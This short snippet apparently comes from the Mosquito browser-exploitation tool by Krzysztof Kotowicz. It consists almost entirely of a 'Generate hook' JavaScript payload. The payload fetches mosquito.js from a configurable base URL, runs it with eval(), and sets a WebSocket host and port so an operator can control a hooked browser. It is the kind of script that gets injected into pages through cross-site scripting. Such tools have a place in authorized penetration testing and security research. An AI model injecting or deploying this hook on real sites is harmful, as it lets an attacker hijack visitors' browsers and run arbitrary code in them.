Mosquito by Krzysztof Kotowicz
if (!window.xxxx) { var mosquito_params = { // adjust params below! // you need to host jquery and mosquito.js at base_url! base_url: 'http://localhost:8000/', ws_host: 'localhost', ws_port: 8082 }; var x = new XMLHttpRequest(); x.open("GET", mosquito_params.base_url + 'mosquito.js?_=' + Math.random(), false); x.onreadystatechange = function() { if (x.readyState == 4 && x.status == 200) { eval(x.responseText); } }; x.send(null); window.xxxx = true; };
Generate hook